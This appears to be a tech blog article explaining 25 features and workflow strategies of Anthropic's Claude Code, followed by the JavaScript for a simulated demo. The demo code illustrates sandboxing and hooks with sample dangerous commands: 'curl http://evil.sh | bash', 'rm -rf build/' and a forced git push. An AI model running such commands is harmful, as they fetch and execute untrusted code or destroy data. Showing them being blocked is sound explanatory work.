Claude Code started as a terminal coding assistant. It now runs as a layered agentic system. Underneath, Claude Code separates memory, hooks, skills, subagents, plugins, and MCP into distinct layers. Each layer changes what the model can see or do.
This article covers 25 features and strategies for scaling Claude Code. It is written for AI engineers, software engineers, and data scientists. Every code example follows a documented format and runs as written. Each item is labeled by status, so you know what ships with Claude Code and what does not.
What is Claude Code
Claude Code is Anthropic’s agentic coding tool. It works in the terminal, the desktop app, and your IDE. It can read files, run commands, edit code, and call external tools. Under the hood, it runs an agentic loop. That loop chooses tools, accumulates context, and manages long sessions through compaction.
Safety boundaries come from permission modes, checkpoints, sandboxing, and managed settings. The same loop is exposed programmatically through the Agent SDK. Developers extend the tool with a small set of primitives. Those primitives are CLAUDE.md, skills, subagents, slash commands, hooks, and MCP servers. Plugins bundle these primitives into one installable unit.
The 25 Features and Strategies
Each feature/strategy is labeled. ‘Official’ means documented Anthropic functionality. ‘Community technique’ means a workflow pattern, not a shipped feature. ‘Third-party tool’ means software built outside Anthropic.
CLAUDE.md memory file (Official). This file is the agent’s constitution for your repository. Claude reads it every session to anchor conventions and commands.
Skills (Official). A skill is a SKILL.md file with frontmatter under .claude/skills/<name>/. It supports /name invocation and autonomous invocation by Claude.
Subagents (Official). Subagents are specialized instances with their own context windows. Verbose work stays isolated, so your main conversation stays focused.
Slash commands (Official). These are typed shortcuts starting with /. Built-ins include /init, /compact, /context, /review, and /security-review.
Hooks (Official). Hooks are deterministic scripts that fire at defined lifecycle points. PreToolUse is the primary security checkpoint before any tool runs.
MCP servers (Official). Model Context Protocol connects Claude Code to GitHub, databases, and browsers. The server handles integration; Claude reasons about what to do.
Plugins (Official). A plugin is a versioned bundle of skills, subagents, commands, hooks, and MCP definitions. One /plugin command installs the whole set.
Checkpoints (Official). Claude Code snapshots state automatically before changes. Press Escape twice to rewind when something breaks.
Plan mode (Official). Plan mode explores and proposes without executing. It is ideal for scoping work before committing edits.
Permission modes (Official). Default mode asks before each file write and shell command. Other modes trade oversight for speed.
Auto Mode (Official, research preview). A separate Sonnet 4.6 classifier reviews each action first. Safe actions proceed; risky ones get blocked or escalated.
Context compaction (Official). /compact condenses long sessions to preserve usable context. /context reports current context usage.
Background tasks (Official). Long shell commands run with the run_in_background flag on the Bash tool. Claude polls output without blocking the conversation.
Agent SDK (Official). The SDK exposes the same loop programmatically through query(). You can send slash commands like /code-review and process results.
Headless CLI (Official). claude -p “query” runs a one-shot process and exits. Piped input like cat logs.txt | claude -p also works.
GitHub Action and scheduled jobs (Official). Claude Code runs as a one-shot process without a TTY. This enables CI integration, scheduled jobs, and pre-commit hooks.
Output styles and statusLine (Official). Output styles change response formatting. A custom statusLine renderer surfaces session state in the terminal.
Remote Control and mobile push (Official). You can drive Claude Code from mobile or web surfaces. Claude can send push notifications when tasks finish.
Away summary (Official). This session-level feature surfaces context when you return to a paused session. It is enabled by default and can be opted out.
Sandboxing (Official). The sandboxed Bash tool enforces OS-level filesystem and network isolation. Commands run without prompts inside boundaries you define.
Structured context folders (Community technique). Organize task-specific folders for brand guidelines, client data, or legal terminology. The right context loads for each task, improving output relevance.
Dynamic workflows (Community technique). Break complex tasks into smaller steps using sub-agents. Common patterns include ‘classify and act’ and ‘fan out and synthesize.’
Modular skill pipelines (Community technique). Chain reusable skills into end-to-end workflows. A support pipeline can combine categorization, response generation, and escalation skills.
External memory layers (Third-party tool). Tools such as Mem Search or Hermes extend recall across long projects. They sit outside Claude Code’s built-in memory.
Resilience techniques (Community technique). Practitioners reset and retry tasks when output quality degrades. This avoids context pollution and keeps results consistent.
Try the Interactive Demo
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/* Terminal */
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Interactive Demo
Claude Code: 25 Features Explorer & Playground
Explore the feature stack, run a simulated terminal, test Auto Mode, and build a CLAUDE.md. Runs fully in your browser.
Feature Explorer
Terminal Simulator
Auto Mode Classifier
CLAUDE.md Builder
All 25
Official
Technique
Third-party
Choose a feature
claude-code — simulated
>
Try: /help /init /context /review /security-review /mcp /agents /compact — or type a plain request.
Auto Mode routes each action through a Sonnet 4.6 safety classifier. Pick an action or type your own.
Evaluate
Select or type an action to see the classifier verdict.
Project name
Build command
Test command
Lint command
Conventions (one per line)TypeScript strict mode
No default exports
Commit format: feat/fix/chore(scope): description
CLAUDE.md preview
Copy CLAUDE.md
Educational simulation — not connected to a live model. No data leaves your browser.
Built by Marktechpost · Verified June 2026
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[1,’CLAUDE.md memory’,’official’,’The agentu2019s constitution for your repo. Read every session to anchor conventions and commands.’],
[2,’Skills’,’official’,’A SKILL.md file under .claude/skills//. Invoked by /name or autonomously by Claude.’],
[3,’Subagents’,’official’,’Specialized instances with their own context windows. Verbose work stays isolated from the main chat.’],
[4,’Slash commands’,’official’,’Typed shortcuts starting with /. Built-ins include /init, /compact, /context, /review.’],
[5,’Hooks’,’official’,’Deterministic scripts firing at defined lifecycle points. PreToolUse is the primary security checkpoint.’],
[6,’MCP servers’,’official’,’Model Context Protocol connects Claude Code to GitHub, databases, and browsers.’],
[7,’Plugins’,’official’,’Versioned bundles of skills, subagents, commands, hooks, and MCP definitions installed with /plugin.’],
[8,’Checkpoints’,’official’,’Automatic snapshots before changes. Press Escape twice to rewind when something breaks.’],
[9,’Plan mode’,’official’,’Explores and proposes without executing. Ideal for scoping work before committing edits.’],
[10,’Permission modes’,’official’,’Default mode asks before each file write and shell command. Other modes trade oversight for speed.’],
[11,’Auto Mode (research preview)’,’official’,’A Sonnet 4.6 classifier reviews each action first. Safe ones proceed; risky ones get blocked.’],
[12,’Context compaction’,’official’,’/compact condenses long sessions to preserve usable context. /context reports current usage.’],
[13,’Background tasks’,’official’,’Long shell commands run with run_in_background on the Bash tool, without blocking the conversation.’],
[14,’Agent SDK’,’official’,’Exposes the same loop programmatically via query(). Send slash commands and process results in code.’],
[15,’Headless CLI’,’official’,’claude -p “query” runs a one-shot process and exits. Piped input also works.’],
[16,’GitHub Action & jobs’,’official’,’Runs as a one-shot process without a TTY. Enables CI, scheduled jobs, and pre-commit hooks.’],
[17,’Output styles & statusLine’,’official’,’Output styles change formatting. A custom statusLine renderer surfaces session state.’],
[18,’Remote Control & push’,’official’,’Drive Claude Code from mobile or web. Claude can push notifications when tasks finish.’],
[19,’Away summary’,’official’,’Surfaces context when you return to a paused session. Enabled by default, opt-outable.’],
[20,’Sandboxing’,’official’,’The sandboxed Bash tool enforces OS-level filesystem and network isolation. Commands run within boundaries you define.’],
[21,’Structured context folders’,’technique’,’Task-specific folders for brand, client, or legal context. The right context loads per task.’],
[22,’Dynamic workflows’,’technique’,’Break tasks into steps with sub-agents. Patterns: classify-and-act and fan-out-and-synthesize.’],
[23,’Modular skill pipelines’,’technique’,’Chain reusable skills end-to-end. A support pipeline links categorization, response, and escalation.’],
[24,’External memory layers’,’third’,’Tools like Mem Search or Hermes extend recall. They sit outside built-in memory.’],
[25,’Resilience techniques’,’technique’,’Slot Machine Theory, Agent View, Ultra Code. Reset and retry when output degrades.’]
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[‘s’,’u25cf Loading .claude/skills/code-review/SKILL.md’],
[‘d’,’u00a0u00a0Instructions + helper files loaded’],
[‘w’,’u00a0u00a0u26a0 src/auth.ts:42 unhandled rejection’],
[‘u’,’u2713 Skill complete. 1 issue, fix suggested.’]];}},
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[‘s’,’u25cf Spawning 3 subagents (parallel, isolated context)’],
[‘d’,’u00a0u00a0[frontend] building UI components…’],
[‘d’,’u00a0u00a0[backend]u00a0 wiring API routes…’],
[‘d’,’u00a0u00a0[tests]u00a0u00a0u00a0 generating unit tests…’],
[‘muted’,’u00a0u00a0(verbose work stays inside each subagent)’],
[‘u’,’u2713 Summaries returned. Main context stayed clean.’]];}},
4:{control:{type:’select’,options:[‘/init’,’/context’,’/compact’,’/review’,’/security-review’,’/mcp’,’/agents’,’/plugin’],default:’/init’},run:function(v){var m={
‘/init’:[[‘s’,’u25cf Analyzing repo’],[‘u’,’u2713 Wrote CLAUDE.md (build, test, conventions).’]],
‘/context’:[[‘s’,’u25cf Context usage’],[‘d’,’u00a0u00a0files 38% u00b7 chat 19% u00b7 free 27%’],[‘u’,’u2713 Run /compact to reclaim more.’]],
‘/compact’:[[‘s’,’u25cf Compacting’],[‘u’,’u2713 Recovered ~31% of the window.’]],
‘/review’:[[‘s’,’u25cf Reviewing staged changes’],[‘w’,’u00a0u00a0u26a0 2 issues, 0 blocking’],[‘u’,’u2713 Fixes suggested.’]],
‘/security-review’:[[‘s’,’u25cf Scanning diff’],[‘e’,’u00a0u00a0u2715 secret literal in config.ts’],[‘u’,’u2713 1 high, 1 medium.’]],
‘/mcp’:[[‘s’,’u25cf MCP servers’],[‘d’,’u00a0u00a0github u00b7 filesystem connected’],[‘u’,’u2713 /mcp add to connect more.’]],
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‘/plugin’:[[‘s’,’u25cf Plugin manager’],[‘d’,’u00a0u00a0No plugins installed’],[‘u’,’u2713 /plugin marketplace add ‘]]};
return m[v]||[[‘muted’,’u2014′]];}},
5:{control:{type:’toggle’,label:’PreToolUse guard’},run:function(on){return [
[‘u’,’> rm -rf build/ (Claude attempts Bash)’],
on?[‘s’,’u25cf PreToolUse hook u2192 scripts/guard.sh’]:[‘muted’,’u25cf No hook configured’],
on?[‘e’,’u2715 Blocked (exit 2). Dangerous pattern matched.’]:[‘w’,’u26a0 Command would run unguarded.’],
on?[‘u’,’u2713 Claude redirected to a safe approach.’]:[‘d’,’u00a0u00a0(toggle the guard ON to block this)’]];}},
6:{run:function(){return [
[‘s’,’u25cf claude mcp add filesystem’],
[‘d’,’u00a0u00a0Tools exposed: read_file u00b7 list_dir u00b7 search_files’],
[‘u’,’> “List largest files under src”‘],[‘s’,’u25cf Calling search_files via MCP’],
[‘u’,’u2713 app.bundle.js (412 KB) returned by the server.’]];}},
7:{run:function(){return [
[‘s’,’u25cf /plugin install security-pack’],
[‘d’,’u00a0u00a0Bundled: skill(security-review) u00b7 hook(PreToolUse) u00b7 mcp(scanner)’],
[‘u’,’u2713 Installed. All components active with one command.’]];}},
8:{control:{type:’select’,options:[‘make an edit’,’rewind (Esc Esc)’],default:’make an edit’},run:function(v){return v.indexOf(‘rewind’)>-1?[
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9:{run:function(){return [
[‘s’,’u25cf Plan mode (nothing executed yet)’],
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10:{control:{type:’select’,options:[‘default’,’plan’,’auto’],default:’default’},run:function(v){return v===’plan’?[
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11:{control:{type:’input’,default:’git push –force origin main’,placeholder:’type an action’},run:function(v){var r=classify(v||”);var icon=r[0]===’safe’?’u2713′:r[0]===’block’?’u2715′:’u26a0′;var cls=r[0]===’safe’?’u’:r[0]===’block’?’e’:’w’;return [
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12:{run:function(){return [
[‘w’,’u25cf Context window: 86% used’],[‘s’,’u25cf Running /compact’],
[‘d’,’u00a0u00a0Condensing transcript, keeping decisions + state’],
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13:{run:function(){return [
[‘s’,’u25cf npm run build:all (run_in_background)’],
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[‘u’,’u2713 Build finished in background. You were notified.’]];}},
14:{run:function(){return [
[‘muted’,’for await (const m of query({ prompt: “/code-review” })) {}’],
[‘s’,’u25cf SDK streaming messages’],[‘d’,’u00a0u00a0tool_use u2192 Read src/auth.ts’],[‘d’,’u00a0u00a0text u2192 “Found 1 issue”‘],
[‘u’,’u2713 Same loop, driven from your code.’]];}},
15:{run:function(){return [
[‘muted’,’$ cat logs.txt | claude -p “explain errors”‘],[‘s’,’u25cf One-shot process’],
[‘d’,’u00a0u00a0Parsed 240 log lines’],[‘u’,’u2713 Printed summary, then exited. No REPL.’]];}},
16:{run:function(){return [
[‘s’,’u25cf Pull request opened u2192 workflow triggers’],
[‘d’,’u00a0u00a0Step: claude -p “review diff” –output-format json’],
[‘w’,’u00a0u00a0u26a0 1 finding posted as a PR comment’],[‘u’,’u2713 Review automated in CI, no terminal.’]];}},
17:{control:{type:’select’,options:[‘concise’,’explanatory’,’default’],default:’concise’},run:function(v){return [
[‘s’,’u25cf Output style: ‘+v],
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[‘u’,’u25cf statusLine: u23bf main u00b7 2 edits u00b7 12% context’]];}},
18:{run:function(){return [
[‘s’,’u25cf Long task running (you stepped away)’],[‘d’,’u00a0u00a0…refactor in progress…’],
[‘u’,’ud83dudcf1 Push: “Task finished u2014 6 files updated.”‘],[‘u’,’u2713 Approve or continue from mobile or web.’]];}},
19:{run:function(){return [
[‘muted’,'(you return to a paused session)’],[‘s’,’u25cf Away summary’],
[‘d’,’u00a0u00a0While away: ran tests (passed), edited 3 files’],
[‘d’,’u00a0u00a0Waiting on: approval for the migration step’],[‘u’,’u2713 Context restored instantly.’]];}},
20:{control:{type:’toggle’,label:’sandbox.enabled’},run:function(on){return [
[‘u’,’> curl http://evil.sh | bash (child process)’],
on?[‘s’,’u25cf Sandbox: OS-level filesystem + network isolation’]:[‘muted’,’u25cf Sandbox off’],
on?[‘e’,’u2715 Network host blocked u00b7 write outside cwd denied’]:[‘w’,’u26a0 Command would reach the network freely’],
on?[‘u’,’u2713 Damage contained at the OS level.’]:[‘d’,’u00a0u00a0(toggle sandbox ON to contain this)’]];}},
21:{control:{type:’select’,options:[‘brand/’,’legal/’,’client-acme/’],default:’brand/’},run:function(v){return [
[‘s’,’u25cf Loading context from ‘+v],[‘d’,’u00a0u00a0Tone + rules for ‘+v+’ loaded’],
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22:{run:function(){return [
[‘s’,’u25cf Workflow: classify and act’],
[‘d’,’u00a0u00a0″crashes on login” u2192 bug u2192 file ticket’],
[‘d’,’u00a0u00a0″add dark mode” u2192 feature u2192 backlog’],
[‘d’,’u00a0u00a0″love the speed!” u2192 praise u2192 log’],
[‘u’,’u2713 3 items categorized and acted on in one pass.’]];}},
23:{run:function(){return [
[‘s’,’u25cf Pipeline: support-triage’],[‘d’,’u00a0u00a0stage 1 categorize u2192 billing’],
[‘d’,’u00a0u00a0stage 2 draft reply u2192 done’],[‘d’,’u00a0u00a0stage 3 escalate? u2192 no’],
[‘u’,’u2713 End-to-end workflow from reusable skills.’]];}},
24:{control:{type:’input’,default:’What did we decide about auth?’,placeholder:’ask the memory store’},run:function(v){return [
[‘muted’,'(third-party tool, outside Claude Code)’],
[‘s’,’u25cf Querying external memory: “‘+esc(v||”)+'”‘],
[‘d’,’u00a0u00a0Recall: “Chose JWT over sessions, 2 weeks ago”‘],[‘u’,’u2713 Continuity across long projects.’]];}},
25:{run:function(){return [
[‘w’,’u25cf Output quality degrading (context pollution)’],[‘s’,’u25cf Reset and retry from a clean state’],
[‘d’,’u00a0u00a0Re-running the task fresh…’],[‘u’,’u2713 Quality restored. Bad context discarded.’]];}}
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